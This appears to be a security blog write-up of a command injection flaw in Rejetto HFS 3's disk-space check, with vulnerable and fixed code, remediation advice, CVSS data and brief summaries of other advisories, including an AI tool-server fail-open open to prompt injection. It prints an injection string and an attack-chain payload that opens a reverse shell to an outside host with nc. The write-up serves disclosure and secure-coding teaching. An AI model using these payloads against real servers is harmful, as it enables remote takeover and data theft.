Jan 28, 2026·7 min read·16 visits
Rejetto HFS 3, the Node.js rewrite of the popular file server, contained a classic command injection flaw. By passing unsanitized user paths directly into a shell execution to check disk space (`df` command), attackers could break out of the command string and execute arbitrary code. Fixed in version 0.52.10 by switching from `execSync` to `spawnSync`.
A critical OS Command Injection vulnerability in Rejetto HFS 3 allows authenticated attackers with upload permissions to execute arbitrary commands on the host server via the disk space check logic.
Rejetto HFS (HTTP File Server) has been a staple in the IT administrator's toolkit for nearly two decades. It's the software equivalent of a Swiss Army knife: ugly, utilitarian, but incredibly effective for quickly spinning up a file share. Recently, the project underwent a massive metamorphosis, shifting from its original Delphi roots to a shiny new Node.js/TypeScript codebase known as HFS 3.
But as we all know, changing languages doesn't fix bad habits; it just translates them. In the rush to replicate functionality, the developers needed a way to check available disk space before accepting file uploads. It's a reasonable requirement—you don't want to crash the server by filling the partition.
However, the implementation of this feature committed the cardinal sin of web security: trusting user input inside a system shell command. This isn't some complex heap overflow or a race condition requiring frame-perfect timing. This is the kind of vulnerability that makes penetration testers giggle and sysadmins weep: direct, unadulterated Command Injection.
The vulnerability resides in src/util-os.ts within the getDiskSpaceSync function. The logic is simple: when a user attempts to upload a file, the server needs to know if there is enough space on the disk. To find this out, the application decided to ask the operating system directly using the df (disk free) utility.
Instead of using a native Node.js API to check disk stats (which, admittedly, can be tricky across platforms), the code opted to spawn a shell command. Specifically, it used execSync. In the Node.js world, exec and execSync are dangerous because they spawn a shell (/bin/sh on *nix) to interpret the command string.
This means that if any part of that command string is controlled by a user, and that user knows how to use a semicolon or a backtick, they aren't just uploading a file—they are effectively sitting at your terminal. The code attempted to wrap the path in double quotes, a defense that is about as effective as a screen door on a submarine.
Let's look at the exact moment things went south. Below is the vulnerable code found in versions prior to 0.52.10. Pay close attention to how the path variable is interpolated.
// Vulnerable Code in src/util-os.ts
export function getDiskSpaceSync(path: string) {
// ... (omitted logic)
while (path && !existsSync(path))
path = dirname(path)
// HERE IS THE BUG:
const out = try_(() => execSync(`df -k "${path}"`).toString(),
err => { /* error handling */ })
// ...
}The developer used a template string: `df -k "$\{path\}"`. If path is /home/user/uploads, the shell sees df -k "/home/user/uploads". Valid and safe.
But what if path is "; id; #? The shell sees:
df -k ""; id; #"
The shell tries to run df -k "" (which might fail or show all mounts), then hits the semicolon ;, and dutifully executes id. The trailing quote is commented out by the #. We have achieved RCE.
The fix was straightforward: switch to spawnSync. Unlike exec, spawn does not invoke a shell by default. It treats arguments as literal strings, not commands to be parsed.
// Fixed Code (Commit 305381bd36eee074fb238b64302a252668daad1d)
// Note the switch to spawnSync and the array of arguments
const out = try_(() => spawnSync('df', ['-k', path]).stdout.toString(),
err => { /* error handling */ })Exploiting this isn't completely trivial due to one specific line of code preceding the injection:
while (path && !existsSync(path))
path = dirname(path)The application tries to be helpful by walking up the directory tree until it finds a folder that actually exists. If we send a path that is total garbage, the loop will strip it all the way down to / or . before passing it to df. This effectively sanitizes our payload by removing the injection vector before it hits the vulnerable function.
However, the attacker has Upload Permissions. This is the key. To exploit this, we don't just send a payload; we create the environment for it.
The Attack Chain:
/uploads/images."/uploads/images/"; nc -e /bin/sh 10.0.0.1 4444 #.If the application logic allows the path to persist long enough to hit the existsSync check—or if we can actually create a directory named "; (which is valid on Linux)—we win. Even if the loop strips parts of the path, if the attacker can influence the starting point of that check, they can ensure the malicious string is passed to execSync.
CVSS 9.9 is reserved for the "drop everything and patch" category. Why is this specific bug so severe? It combines Network Access with Low Complexity and High Impact.
HFS is designed to run as a server, often exposed to the public internet to share files with clients. While the vulnerability requires authentication, "upload permissions" is a very low bar. In many HFS deployments, guest accounts or shared credentials with upload rights are common.
Once code execution is achieved, the attacker runs with the privileges of the Node.js process. If the admin was lazy (and let's be honest, we all have our moments) and ran HFS as root, the attacker now owns the box. Even as a low-privileged user, they can pivot to internal networks, install persistence, or exfiltrate all the files hosted on the server.
Furthermore, the EPSS score sits at nearly 79%. This isn't a theoretical academic finding. Automated bots are actively scanning for this. If you have a vulnerable HFS instance facing the web, it's not a matter of if you get popped, but when.
The remediation here is a classic lesson in secure coding: Separation of Data and Code. By using exec or execSync, you are mixing data (the path) with code (the shell command). By switching to spawn or spawnSync, you clearly define what is the executable (df) and what are the arguments (path).
For Administrators: Update to HFS version 0.52.10 immediately. If you cannot update, restrict access to the HFS port to trusted IP addresses only, or disable account upload permissions.
For Developers:
This serves as a reminder to lint your code for child_process.exec usage. It should almost always be replaced by child_process.spawn or child_process.execFile. If you absolutely must use exec, use a library like shell-quote to sanitize inputs, though even that is prone to edge cases. Just don't use the shell.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
HFS 3 Rejetto | < 0.52.10 | 0.52.10 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 (OS Command Injection) |
| CVSS Score | 9.9 (Critical) |
| Attack Vector | Network (Authenticated) |
| EPSS Score | 0.7834 (High Probability) |
| Impact | Remote Code Execution (RCE) |
| Vulnerable Component | src/util-os.ts (getDiskSpaceSync) |
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.
A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.
OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.
An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.
A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.
An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.